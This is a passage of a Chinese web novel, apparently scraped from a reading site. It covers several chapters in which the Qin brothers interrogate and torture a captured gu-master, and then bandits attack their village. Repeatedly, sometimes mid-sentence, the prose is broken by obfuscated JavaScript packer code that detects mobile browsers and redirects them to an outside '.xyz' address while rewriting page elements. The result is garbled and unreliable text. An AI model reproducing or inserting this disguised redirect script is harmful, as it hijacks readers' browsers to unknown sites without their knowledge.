他想反击,却发现手脚都被牢牢捆住。那绳子似乎还带着某种特殊的力量,让他体内的真气运转不畅。这种感觉他再熟悉不过了,分明是用蛊虫的丝编织而成的。 看到自己心爱的宠物,沧澜先生眼中闪过一丝希望。小白可是他精心培育多年的异兽,平日里娇生惯养,感情深厚。 “宝贝儿,咬他!”他的声音因为激动而有些发颤。 他很清楚自己这只宠物的厉害,一旦露出獠牙,攻击力绝对不容小觑。那些年在江湖上横行霸道,除了他的蛊术,很大一部分功劳要归功于小白。 既然今日难逃一死,不如带着爱宠一起走。这个念头刚一升起,就让他下定了决心。 然而,出乎他意料的是,小白不仅没有攻击秦远霄,反而亲昵地围着他打转。那欢快的模样,就像是见到了失散多年的主人一般。 沧澜先生不死心,又喊了几声。他的声音中带着几分颤抖,显然已经意识到了什么。 这回小白居然变出了鹰钩般的嘴,朝他的眼睛啄来。那锋利的喙在烛光下泛着寒光,带着凌厉的杀意。 这变故太过突然,以至于他一时没能躲开,眼角下方被啄掉一块肉。温热的鲜血顺着脸颊流下,在他苍白的脸上划出一道刺目的红痕。 鲜血顺着脸颊流下,配上他那震惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然而很快,一种难以忍受的瘙痒感从皮肤渗入,让他忍不住扭动起来。那感觉就像是有无数只蚂蚁在他的皮肤下爬行,让他几乎发疯。 这种感觉越来越强烈,他终于意识到,这根本不是什么需要吸入的**。这是一种专门针对皮肤的特殊药粉,比起**来说,这种折磨人的手段更让人难以忍受。 第二百一十二章 沧澜先生浑身颤抖,一种前所未有的痒意从骨髓深处蔓延开来。他紧咬着下唇,试图压制那几乎要将他逼疯的感觉,可这种深入骨髓的瘙痒却愈演愈烈。 汗水顺着他的额角滑落,在地上汇聚成一小滩水渍。他的衣衫早已被冷汗浸透,紧贴在身上,狼狈不堪。 这种毒,他纵横江湖数十载,还是头一回遇到。 “秦家背后,定有高人相助。”沧澜先生强撑着最后一丝理智,目光在秦远霄和秦徒扬兄弟二人身上来回扫视。 能解掉秦徒扬身上的魇魂蛊,又能拿出这等闻所未闻的**,若说没有什么通天本事的人物在暗中帮衬,打死他也不信。可究竟是谁?竟连他这个蛊道中人都看不出半点端倪。 “啊!”一阵剧烈的痒意突然袭来,沧澜先生再也维持不住表面的镇定,“杀了我!快杀了我!” 他在地上疯狂打滚,全然不顾自己堂堂蛊师的尊严。那种从骨髓深处传来的瘙痒感,仿佛有千万只蚂蚁在啃噬着他的骨头,让他恨不得立刻死去。 秦远霄和秦徒扬兄弟二人冷眼旁观,眼中没有丝毫怜悯。相比于这些年他对秦家所做的一切,这点折磨又算得了什么? “六哥,”秦远霄低声道,“你说他能撑多久?” 秦徒扬眸光微闪:“以他的定力,至少还能坚持一个时辰。” “那就再等等。”秦远霄抱臂靠在墙边,神色淡漠,“等他彻底崩溃的时候,自然会开口。” 沧澜先生的惨叫声在房间里回荡,时而凄厉,时而低沉。他的指甲已经抓破了地板,留下道道血痕。那张向来从容不迫的脸此刻已经扭曲得不成人形。 “你们...你们这是什么毒?”他艰难地开口,声音嘶哑。 秦远霄轻笑一声:“这可不是毒,而是一种特殊的药物。它不会要你的命,只会让你生不如死。” 沧澜先生瞳孔猛地收缩。不是毒?那岂不是说,就算他引爆本命蛊,这种折磨也不会停止? “告诉我们父亲和兄长的下落,我就给你一个痛快。”秦远霄蹲下身,居高临下地看着他。 沧澜先生咬紧牙关,心中天人交战。他知道,一旦说出秦霆等人的下落,自己必死无疑。可若是不说,这种生不如死的折磨还要持续多久? “你们...你们不怕我引爆本命蛊?”他强撑着问道。 秦徒扬冷笑一声:“你以为我们为什么用这种方法?就是防着你玉石俱焚。” 沧澜先生心中一沉。这对兄弟,比他想象中还要谨慎。 又是一阵剧烈的痒意袭来,沧澜先生再次在地上打滚。他的意识开始模糊,却又清醒得很,能清楚地感受到每一分痛苦。 “我说!我说!”他终于崩溃,“你们父亲和兄长...在...” 话未说完,他突然瞪大双眼,身体剧烈抽搐起来。 “不好!”秦远霄脸色一变,迅速掏出**,“砰”的一声将沧澜先生击晕。 “他想引爆本命蛊!”秦徒扬也反应过来,“这老东西,宁死也不肯说!” 秦远霄蹙眉检查沧澜先生的状况:“还好及时制止,不然父亲他们就危险了。” “现在怎么办?”秦徒扬焦急道,“总不能一直这样耗着。” “先把他带去玄陲。”秦远霄站起身,“三哥那边或许有办法。” 秦徒扬点点头,上前帮忙将沧澜先生绑好。就在这时,他发现对方的衣袖上有一道暗纹。 “九弟,你看这个。”他指着那道暗纹。 秦远霄凑近观察:“这是...巫师同盟的标记?” “不对,”秦徒扬摇头,“巫师同盟的标记是五爪,这个只有三爪。” 兄弟二人对视一眼,都从对方眼中看到了惊讶。这意味着,沧澜先生背后还有其他势力! “难怪他宁死不开口。”秦远霄若有所思,“看来这事比我们想象的要复杂得多。” “那更要赶紧带他去见三哥了。”秦徒扬说着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦远霄心中一动,五哥的心思确实细腻。他们正愁缺少代步工具,这下倒是解决了燃眉之急。马车虽旧,但看得出保养得当,车厢结实,轮子也新换过。 原本他打算在此地修整一晚,好好审问沧澜先生。但眼下情况特殊,沧澜先生又如此难缠,不如即刻启程。夜色能为他们提供最好的掩护。 “五哥,事不宜迟,我们这就动身赶往玄陲,与三哥他们会合再做打算。”秦远霄沉声道,目光落在屋内被捆得结实的沧澜先生身上。 五哥看出事态紧急,立刻应道:“刚好我准备了点口粮,足够路上食用。”他从马鞍上取下几个布包,里面装着饼子和腊肉,还有一些随身药物。 再次给沧澜先生吃下**。 三人将昏迷的沧澜先生扔进马车,虽然他暂时失去意识,每个人都打起十二分精神。六哥亲自检查了绳结,又在他身上补了几处要穴。这老狐狸诡计多端,决不能给他任何逃脱的机会。 六哥负责驾车,五哥骑马开路,秦远霄则在车厢内看守沧澜先生。油灯昏黄的光芒下,他死死盯着对方的一举一动。沧澜先生的脸上还带着方才审讯时留下的伤痕,但那副狡诈的模样仍让人心生厌恶。 夜色中,一辆马车悄然离开京城,向玄陲驶去。车厢内,沧澜先生仍在昏迷,而秦家兄弟则各怀心事。 他们都清楚,这只是开始。要救出父亲和兄长们,还有很长的路要走。但至少,他们已经抓住了一条线索。 只要沧澜先生还活着,就总有撬开他嘴巴的办法。而那个神秘的三爪标记,或许就是打开真相之门的钥匙。 马车在夜色中缓缓前行,轮子碾过石子发出细微的声响。路边的树影在月光下摇曳,仿佛无数只鬼手在招摇。秦远霄的手始终没有离开过腰间的软剑,他知道这一路必定凶险重重。 直到马车行驶了百余里,夜色渐深,沧澜先生才有了转醒的迹象。月光透过车厢的缝隙洒落进来,在他脸上投下斑驳的光影。 他先是皱了皱眉,眼皮轻颤,随即意识到自己被捆绑的处境。那双阴鸷的眼睛在看清秦远霄的面容时,闪过一丝冷意,嘴角勾起一抹讥讽的笑。 “秦远霄,你到底想怎样?”他的声音沙哑,却依旧带着几分倨傲。 “自然是要你说出我想知道的一切。”秦远霄冷冷道,手指不自觉地收紧。 六哥在外听得真切,也跟着喝道:“老狐狸,再不识相,小心我一锤子送你上路!”他的声音 “中带着显而易见的怒意。 沧澜先生却不为所动,反而冷笑一声:“要杀要剐,悉听尊便。”他的目光在秦远霄脸上扫过,仿佛在打量一个不知天高地厚的小辈。 这副傲慢的态度彻底激怒了秦远霄,他再也按捺不住,一拳挥向对方面门。这一拳蕴含着滔天的恨意,沧澜先生避无可避,结结实实挨了这一下。鲜血从他的嘴角溢出。 “秦远霄,你这是要逼着令尊跟我玉石俱焚??”沧澜先生吐出一口血沫,话音未落就意识到失言。他的眼中闪过一丝慌乱,显然是说漏了嘴。 马车猛地停下,车轮碾过地面发出刺耳的声响。六哥和五哥几乎同时冲到车厢前,月光下他们的脸色都变得异常难看。 “说!我父亲在哪里?”六哥双目喷火,一把揪住沧澜先生的衣领。 沧澜先生见状反倒放声大笑,笑声中带着几分疯狂:“不错,秦霆确实中了我的蛊。但没有我,你们永远也找不到他!哈哈哈哈......” 狂妄的笑声刺激着三兄弟的神经。六哥一把将沧澜先生提起摔在地上,五哥抬脚便踢。两人都是行伍出身,下手又准又狠,专挑不致命的地方招呼。夜风中传来骨头断裂的声响。 “啊......你们会后悔的......”沧澜先生的惨叫声回荡在夜空中,惊起了路边树上的乌鸦。 秦远霄站在一旁,看着兄长们暴打仇人,心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792131|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却没有丝毫快意。父亲的下落才是当务之急,可这老狐狸实在太过狡猾。月光下,沧澜先生的血迹在地上蔓延,却始终不肯松口。 他握紧了拳头,指甲深深陷入掌心。夜风吹动他的衣袍,带来一丝凉意。远处传来狼嚎声,仿佛在为这场复仇奏响前奏。 五哥擦了擦手上的血迹,转头看向秦远霄:“九弟,这老东西嘴硬得很,不如......” 话未说完,沧澜先生突然发出一阵诡异的笑声:“你们以为这样就能让我开口吗?天真!就算你们把我打死,也永远找不到秦霆!” 六哥正要再动手,秦远霄却拦住了他:“且慢。”他蹲下身,直视沧澜先生的眼睛,“你说父亲中了你的蛊,是什么蛊?” 沧澜先生的眼中闪过一丝得意:“这可是我们苗疆秘传的蛊术,没有解药,就算找到人也是死路一条!” “那你为什么要对我父亲下蛊?”秦远霄的声音很轻,却带着刺骨的寒意。 沧澜先生突然沉默了,月光下他的表情变得复杂起来。过了许久,他才缓缓开口:“这就要问你们秦家了......” 就在这时,远处突然传来一阵马蹄声,打断了沧澜先生的话。五哥迅速翻身上马,警惕地望向声音传来的方向:“有人来了!” 六哥一把将沧澜先生拖起来扔进马车:“先离开这里!” 马车再次启程,车轮碾过地面发出沉闷的声响。秦远霄坐在车厢内,看着沧澜先生苍白的脸色,心中泛起一阵复杂的情绪。他知道,这个夜晚远没有结束,而真相也许比他想象的更加残酷。 夜风呼啸,马车在月光下疾驰,向着未知的方向驶去。树影斑驳,仿佛无数双眼睛在暗中窥视。这一夜注定是个不眠之夜,而等待他们的,或许是更大的风暴。 秦远霄的目光落在那个不断震动的瓷瓶上,眉头微微皱起。夜色渐深,月光透过车窗洒落在瓷瓶表面,映出一道道诡异的光影。 第二百一十四章 “咚、咚、咚”,瓷瓶的震动声愈发清晰,仿佛里面的东西正在叩击瓶壁,急切地想要冲破禁锢。 他很清楚,两位兄长对付沧澜先生自有分寸。那老狐狸想要催动本命蛊,必须要静下心神才行。眼下被暴打得浑身是伤,根本无法凝神静气。 五哥和六哥确实把握得当,见火候差不多了才收手。沧澜先生此刻像一滩烂泥般瘫在地上,即便没被捆着,这会儿怕是也爬不起来。 “呼...”沧澜先生发出一声微弱的呻吟,嘴角渗出的血迹在月光下泛着暗红色的光泽。 秦远霄手中握着**,目光如鹰隼般锁定着对方的一举一动。只要有任何异常,他会毫不犹豫地扣动**。 “你们...会后悔的...”沧澜先生喘着粗气,眼中闪过一丝狠厉,“不知死活的小崽子们...” 话音未落,一记重拳落在他的腹部。五哥冷冷开口:“闭嘴。” 六哥在一旁补充道:“老东西,你最好祈祷我们父兄无事。否则...” 秦远霄察觉到怀中传来轻微的震动,他知道养蛊人要催动本命蛊**至少需要半炷香时间。他没有立即开枪,而是从怀中取出那个小布包。 月光下,包裹里搜缴来的蛊虫瓷瓶清晰可见,其中一个较大的瓶子正在不停颤动。瓶身上隐约可见几道暗红色的纹路,像是某种古老的符文。 沧澜先生的目光死死盯着那些瓷瓶,眼中闪过一丝血色。他的手指微微抽搐,似乎在进行某种隐秘的手势。 “瞧见自家心头肉如此慌乱?”秦远霄晃了晃手中的瓷瓶,瓶中传来细微的“嗡嗡”声,“可惜现在都是我的了。” 他这么说不仅是为了刺激对方,更是在拖延时间。那个大瓷瓶震动得越来越剧烈,他必须弄清楚是怎么回事。 “你...”沧澜先生突然剧烈咳嗽起来,“咳咳...你们根本不知道自己在做什么...” 五哥冷笑一声:“我们当然知道。你不过是个丧心病狂的养蛊人,用本命蛊控制我们父兄。” “愚蠢!”沧澜先生突然提高了声音,“你们以为...咳咳...以为这么简单吗?” 秦远霄注意到对方的呼吸变得急促,面色也开始泛红。为了以防万一,他果断扣动了**。随着“啪”的一声,沧澜先生再次陷入昏迷。 “九弟,这老东西话里有话啊。”五哥皱眉道。 六哥点头:“确实,他好像知道些什么。” “先别管这些。”秦远霄摇头,“眼下最重要的是尽快赶到玄陲。” 他不得不担心,沧澜先生已经两次表现出求死的意图。若是再拖延,这老狐狸说不定会在路上就死掉。即便他们看得再紧,对方若是存心绝食,也很难阻止。 马车再次启程,车轮碾过石子路发出细碎的声响。秦远霄靠在车厢内闭目沉思,回忆着《幽术大全》中关于本命蛊的记载。 夜风从车窗缝隙吹入,带来一丝凉意。他的手指无意识地摩挲着那个震动的瓷瓶,瓶身传来的温度似乎比之前更高了。 忽然,他眼前一亮。书中提到,绝大部分蛊道修士都把本命蛊藏在躯体中,但蛊毒双修者例外。这些人为了研究**,经常亲自试毒,他们会用特殊功夫将毒素逼到心角,用心头血包裹毒素避免扩散。 “难道...”秦远霄的目光落在瓷瓶上,若有所思。 刚才沧澜先生想催动本命蛊**时,瓷瓶却在震动,这说明他很可能就是书中提到的特例。更重要的是,这种养蛊人的心头血有剧毒,若是驱使本命蛊寻死,身体会爆裂,血液溅到人身上必死无疑。 秦远霄恍然大悟,他手中的瓷瓶竟然装着沧澜先生的本命蛊!这老狐狸是想引爆自己,让控制着父亲的本命蛊和他们三兄弟一起陪葬。 “狡猾的老东西。”他低声咒骂。 看着沧澜先生被打得面目全非的脸,秦远霄恨不得现在就结果了他。可惜现在他还不能轻举妄动,因为他想到了阻止对方**的办法。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801530|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只要取些心头血喂养本命蛊,蛊虫就会变得更有生机,无论主人如何催动都不会**。不过取血的事还得从长计议。他现在只知道父亲被本命蛊控制着,大哥二哥的情况还不清楚。更重要的是,他还得套出家人的消息。 换做旁人的话,直接一刀下去取血就完事了。但为了问出更多消息,他得好好计划。媳妇儿临行前给他准备了不少手术工具,倒是派上用场了。至于消毒,这种恶人根本不值得。 “六哥,寻一处清净之地歇脚。”秦远霄打开车厢门。 六哥勒住缰绳,回头看了眼沧澜先生:“出什么事了?” “我需要给这位"贵客"做个小手术。”秦远霄的声音里带着一丝冷意。 五哥挑眉:“需要帮忙吗?” “不用。”秦远霄摇头,“你们守在外面就好。” 马车停在一片树林边缘,周围寂静无声。秦远霄从随身的包裹中取出手术工具,银亮的刀具在月光下闪着寒光。 他看着昏迷中的沧澜先生,眼神渐渐变得锐利。这一次,他要让这个老狐狸彻底失去**的能力。 马车停在一处隐秘的林间空地,四周寂静得有些诡异。零星的虫鸣声不时响起,却更衬托出这片空地的荒凉。 秦远霄掀开厚重的车帘,冷风夹杂着潮湿的草木气息扑面而来。他的目光落在车厢内依然昏迷的沧澜先生身上,眉头不自觉地皱起。 “九弟,这老狐狸怎么还没醒?”六哥焦躁地在马车旁来回踱步,脸上写满了担忧,“我真怕是不是下手太重了。要是他就这么**,咱们这一趟不就白跑了?” 秦远霄轻轻摇头,嘴角勾起一抹若有若无的笑意:“六哥不必担心,我早已想好了对付他的办法。” 听到这话,六哥紧绷的神经顿时松弛下来。他望着自己这个最小的弟弟,眼中闪过一丝欣慰。这些年,九弟确实成长了太多,不再是当年那个冲动的少年。现在的他做事沉稳,每一步都深思熟虑。 第二百一十五章 夜色渐深,远处传来几声不知名鸟类的啼叫。秦远霄抬头看了看阴沉的天色,转身对两位兄长说道:“五哥,你跟我进车厢。六哥在外面警戒,若有异动立即示警。” 五哥跟着进了车厢,昏暗的空间里只有一盏微弱的油灯在摇曳。他看着秦远霄从随身的包裹里取出两把闪着寒光的手术刀,不由得倒吸一口凉气:“九弟,这是什么古怪玩意?” “这是洋人的医用器具。”秦远霄一边回答,一边又拿出一个精致的青花瓷瓶和一支造型奇特的手电筒,“都是芷薇担心路上用得着,执意要塞给我的。” 五哥摸了摸下巴,若有所思。想起家中那些新奇的洋人制造的玻璃制品,这些小玩意倒也不算太过稀奇了。 “五哥,帮我把他的外衣脱了。”秦远霄戴上一副白色的橡胶手套,又递给五哥一副,“小心些,别碰到他的皮肤。” 五哥虽然不明白九弟要做什么,但还是照做了。随着层层衣物被剥开,沧澜先生消瘦的身躯暴露在昏黄的灯光下。 秦远霄深吸一口气,握紧手中的手术刀,在沧澜先生胸前比划了几下。虽然从未亲手做过这样的手术,但平日里看宁芷薇施展医术时,他总是格外留心。现在,那些零碎的记忆终于派上了用场。 刀尖刚刚触及皮肤,一滴冷汗就从秦远霄的额角滑落。他的手微微发抖,这种感觉比提着刀与人搏命还要紧张。 “九弟,你没事吧?”五哥察觉到他的异样,担忧地问道。 “我没事。”秦远霄咬紧牙关,强迫自己冷静下来,“五哥,准备好瓷瓶。” 随着他小心翼翼地割开血管,一股乌黑的血液缓缓流入瓷瓶中。血液散发着一股诡异的腥臭味,在灯光下泛着不祥的光泽。 五哥瞪大了眼睛,难以置信地看着这一幕:“这...这究竟是什么东西?” “这就是沧澜先生的玄心蛇血。”秦远霄一边熟练地缝合伤口,一边解释道,“他修炼的**极其阴毒,心头血中蕴含剧毒。若是让他引爆心头血,方圆百丈之内的一切生灵都会被毒气侵蚀而死。” 五哥倒吸一口凉气,后背已经被冷汗浸透:“若不是九弟你提前发现...” “所以我们必须取走他的心头血,这样就算他想自爆,也无能为力了。”秦远霄将最后一针缝合完毕,动作轻柔地为沧澜先生穿好衣服。 他小心地将一些心头血倒入装有本命蛊的瓷瓶中。果然,那只蛊虫立刻变得异常兴奋,在瓶中疯狂翻腾,最后紧紧依附在瓶壁上,仿佛找到了新的寄主。 “只要有主人的心头血,这只蛊虫就不会听从**的命令了。”秦远霄松了口气,擦去额头的汗水。 车厢外的六哥听到这些解释,也不由得后怕。若不是九弟料事如神,他们恐怕真要阴沟里翻船了。想到这里,他不由得加强了警惕,目光在四周的黑暗中来回扫视。 秦远霄重新检查了一遍沧澜先生身上的绳索,确保每个结都足够牢固。这时,他注意到沧澜先生的眼皮开始轻微抖动,显然药效快要过去了。 “五哥,六哥,”秦远霄压低声音说道,“待会他醒来后,千万不要轻举妄动。无论他说什么,做什么,都不要靠近他。” 两位兄长郑重地点头。经过刚才的事,他们对这个看似柔弱的老者已经有了全新的认识。 夜色愈发深沉,林间的雾气渐渐弥漫开来。马车内的油灯不知何时已经熄灭,只剩下秦远霄手中的洋人手电筒发出一束微弱的光芒。 天色渐明,秦远霄三兄弟忙碌了一整夜,疲惫感终于涌了上来。屋内弥漫着浓重的药味,老狐狸躺在床上,呼吸已经平稳许多。 “先轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801531|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流休息一会儿吧。”大哥揉了揉发酸的肩膀,“等天亮了再看看老狐狸的情况。 沧澜先生的手指动了动,缓缓睁开了眼睛。他环顾四周,目光在三兄弟脸上逐一扫过,最后定格在秦远霄身上。 “呵呵...”他突然发出一声低笑,“看来老夫还是小看了你们。不过...”他的声音突然变得阴森,“你们以为这样就能制住我吗?” 秦远霄面色不变,静静地看着他:“沧澜先生,您的心头血已经被我取出,就在这个瓶子里。您若是想要自爆,恐怕只能白白送命了。” 沧澜先生的瞳孔猛地收缩,脸上的表情瞬间凝固。他低头看向自己的胸口,果然发现一道新鲜的伤疤。 “你...你竟敢...”他的声音因为愤怒而颤抖,但很快又恢复了平静,“有意思,真是太有意思了。秦家九公子,你果然不简单。” 秦远霄没有接话,只是默默地收起手电筒。黑暗中,他的眼神越发深邃。这场较量才刚刚开始,他必须时刻保持警惕。 村里最近热火朝天,秦家新建的房屋已经接近完工。清晨的阳光洒在新砌的红砖墙上,泛着温暖的光泽。商智请来的木匠们正在院子里忙碌,锯木刨板的声音此起彼伏。 只是东睿和他母亲所住的那片区域,一直没有动工。砖瓦堆积在角落,杂草丛生。 东睿站在自家门前,望着不远处热火朝天的建设场景,心中愧疚难当。他知道是自己耽误了秦家建设的进度。这段时间,他在村里已经买好了宅基地,索性租了一处小院暂住,好让秦家继续施工。 “东睿,过来帮把手!”商智的声音从不远处传来。 东睿快步走过去,帮着抬起一根沉重的木梁。汗水顺着脸颊滑落,但他心里却感到一丝温暖。自从搬来秦家,他第一次感受到了家的温度。 第二百一十六章 他搬走后,宁芷薇立刻着手安排建造家禽家畜的养殖场。得益于特殊的种子,即便天气干旱,地里的庄稼依然长势喜人。绿油油的麦苗在风中摇曳,散发着勃勃生机。 若不是大家都在牵挂着三兄弟的安危,秦家此时应该是一派欣欣向荣的景象。但即便如此,众人也都在认真做着各自的事情。 这天清晨,宁芷薇刚从界阙出来,就听到院子里狗吠声此起彼伏。看门狗平日里温顺,今天却异常躁动。她心里隐约升起一丝不安。 紧接着,一阵急促的脚步声传来,房门被剧烈地敲响,震得门框都在颤动。 “九弟妹!九弟妹!”是八嫂焦急的声音,“快跟我走!” 宁芷薇连忙开门,只见八嫂面色惨白,额头布满细密的汗珠。“八嫂,出什么事了?” “山上...山上有蛮夷人来袭!”八嫂上气不接下气,“七哥八哥已持兵器赶了过去。娘怕你怀着孩子吃不消,快跟我撤离此地要紧。” 宁芷薇眉头紧蹙,敏锐地察觉到不对劲,“八嫂,具体是什么情况?蛮夷人有多少人?他们是怎么过来的?” 八嫂喘着气说:“我也是被狗叫声惊醒的,你八哥出去查看后就说是蛮夷人入侵...他们好像从山那边过来的,人数不少...” “入侵?不是**?”宁芷薇心中一凛。往常蛮夷人下山,不过是为了抢些粮食财物,从未有过大规模入侵。 就在这时,秦老夫人带着一众女眷匆匆赶来。她们个个神色凝重,手里都拿着武器。 “九儿,快跟八嫂去城里求援。”秦老夫人声音沉稳,但眼中掩不住的担忧,“蛮夷人来势汹汹,光靠你两位兄长撑不了多久。” 说着,她从怀中取出一把**,递给身边的二嫂。 宁芷薇看着婆婆坚毅的眼神,知道她是要带领秦家女眷共同抵抗。她摸了摸高高隆起的肚子,咬牙道:“娘,让我留下来帮忙。” “不行!”秦老夫人斩钉截铁地说,目光落在她的腹部,“你肚子里怀着秦家唯一的孙辈,绝不能有闪失。听娘的话,快去城里找蒋大人!” 宁芷薇心急如焚,她深知自己界阙里的武器足以应对危机,但此刻婆婆已经拿出了当家主母的威严。她看向四周,院子里的女眷们都神色坚定,显然已经做好了战斗的准备。 “那让我留下照顾四哥...”她还想尝试。四哥身体虚弱,若是遇到危险... “你四哥宁死也不会当逃兵!”秦老夫人目光如炬,“他那里我已经留下了武器,即便战死也要拉几个垫背的!” 宁芷薇无奈,只得暂时应下,“好,我这就和八嫂去城里。” 临走前,她偷偷从界阙里取出几把**,塞给了婆婆,“娘,这些您收好,关键时刻用得上。” 目送两人离开后,秦老夫人转身对留下的女眷说道:“姑娘们,我们虽是女子,但也是秦家人!决不能让蛮夷人毁了我们的家园!” 二嫂第一个举起**,眼中闪烁着坚定的光芒,“娘说得对,我们要保护自己的家!” 其他几位嫂嫂也纷纷响应,一时间,秦家女眷士气高涨。她们迅速分散开来,躲在院子各处的掩体后面,严阵以待。 远处传来阵阵喊杀声,夹杂着刀剑相击的声音。秦老夫人握紧手中的**,眼神越发坚定。她知道,这场战斗关系到秦家的存亡,容不得半点退缩。 与此同时,宁芷薇和八嫂已经骑上马,朝着城里疾驰而去。马蹄声急促,扬起阵阵尘土。宁芷薇回头望去,只见村口升起缕缕黑烟,心中不由得一阵揪痛。 “八嫂,快些走!”她催促道,“我们要尽快找到蒋大人!” 八嫂点点头,抽动缰绳,马儿跑得更快了。两人心中都明白,现在争分夺秒,早一刻找到援兵,秦家就多一分生机。 马蹄声渐远,留下的秦家女眷们各就各位。院子里一片寂静,只有远处的喊杀声越来越近。秦老夫人环视四周,看着这些平日里温婉贤淑的儿媳们此刻都变得英勇果敢,心中既欣慰又心疼。 “都记住了,”她低声叮嘱,“不到万不得已,不要轻易暴露。等他们进了院子,再一起动手。” 女眷们纷纷点头。她们虽然没有习武,但这段时间也都学会了使用**。只要配合得当,未必不能给蛮夷人一个教训。 突然,一声尖锐的哨声划破天际。秦老夫人神色一凛 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村里的路上一片混乱,妇人们抱着孩子往城里逃命,老人们则拄着拐杖,艰难地向前挪动。宁芷薇看着这些惊慌失措的村民,心中五味杂陈。 “八嫂。”她轻声开口,“你想过没有,等我们到了城里再赶回来,恐怕战事都结束了。” 八嫂的脚步迟疑了。晨风吹动她的衣襟,露出腰间别着的**。 “可是...婆婆让我护送你去城里...”八嫂的声音充满犹豫。 “八嫂,你看我虽然怀着身孕,但行动并不迟缓。”宁芷薇轻声劝道,目光落在远处升起的烟尘上,“你若陪我去城里,来回一趟至少要一天。” 八嫂的目光在远处的战场和宁芷薇之间来回游移。她咬了咬嘴唇,最终从怀中摸出**:“九弟妹,你带着这个防身。” 宁芷薇看着那把**,心中一动。她界阙里有的是**,本想拒绝,但看八嫂神色坚决,还是接了过来。冰凉的枪身贴在掌心,提醒着她即将面对的危险。 “八嫂放心,我会小心的。”她露出一个安抚的笑容。 第二百一十七章 目送八嫂匆匆离去后,宁芷薇立刻改变方向,朝着战场摸去。她避开大路,沿着田埂悄然前行。稻田里的水汽打湿了她的裙摆,泥土的腥气钻入鼻腔。 随着距离拉近,喊杀声越发清晰。刀剑相击的声音不绝于耳,夹杂着男人们的怒吼和受伤的呻吟。 “给俺上!杀光这些刁民!”一个粗狂的声音传来,像是一头发怒的野兽。 “休想!”是八哥愤怒的回应,声音里带着决绝。 宁芷薇躲在一棵大树后,小心窥视战况。树皮粗糙的触感透过衣衫传来,她的手指无意识地抠着树皮。 战场上的情形令她心惊。八哥挥舞着捕头大刀,每一招都带着凌厉的杀气。刀光在晨曦中闪烁,映照出他狰狞的面容。七哥也不遑多让,手中长剑上下翻飞,剑气纵横,挡住了数名蛮夷人的进攻。 秦老夫人带领着家中女眷在后方严阵以待,她们手持**,目光警惕地扫视四周。老夫人的面容沉静,但眼底藏着深深的忧虑。 “娘,要不要用**?”二嫂的声音里带着焦急。她的头发有些凌乱,显然经历了一番混乱。 秦老夫人轻轻摇头,显然是不想轻易暴露这种特殊武器。她的目光始终没有离开战场,仿佛在等待最恰当的时机。 宁芷薇仔细打量那些蛮夷人。他们衣着各异,有的穿着粗布短衫,有的则是破旧的皮甲。武器也是五花八门,长矛、大刀、木棒都有。这群人并无统一装束,倒像是一群乌合之众。 但他们人数众多,至少有五百之众,远超东麓村的壮丁数量。他们的眼中闪烁着贪婪的光芒,显然是冲着村里的财物而来。 宁芷薇眉头微皱,心中思绪翻涌。这些人虽然看似普通百姓,但能**如此多的人马,背后必有主使。她的目光在人群中搜寻,试图找出领头之人。 一阵冷风吹过,带来了血腥的气味。宁芷薇摸了摸腰间的**,手指微微发抖。她知道自己不该贸然行动,但看着族人浴血奋战,她又怎能袖手旁观? 远处,又一只猎犬倒下了。它的哀嚎声刺痛了宁芷薇的耳膜。她看到八哥的动作开始变得迟缓,显然是体力不支。七哥的剑招也不如先前凌厉,额头上的汗水不断滑落。 宁芷薇深吸一口气,将手按在腹部。她知道自己此刻最应该做的是逃命,但她做不到。那些为保护村子而战的族人,那些忠心耿耿的猎犬,都是她生命中不可分割的一部分。 她的手指扣在**的**上,目光在战场上游移。如果要出手,就必须一击即中。她不能暴露自己的位置,也不能让敌人发现**的存在。 晨光渐盛,照亮了整个战场。宁芷薇的心跳得很快,但手却异常稳定。她知道,自己即将做出一个可能改变战局的决定。 宁芷薇站在高处,目光如炬地扫视着眼前的战场。微风拂过她的发梢,带来一丝血腥的气息。 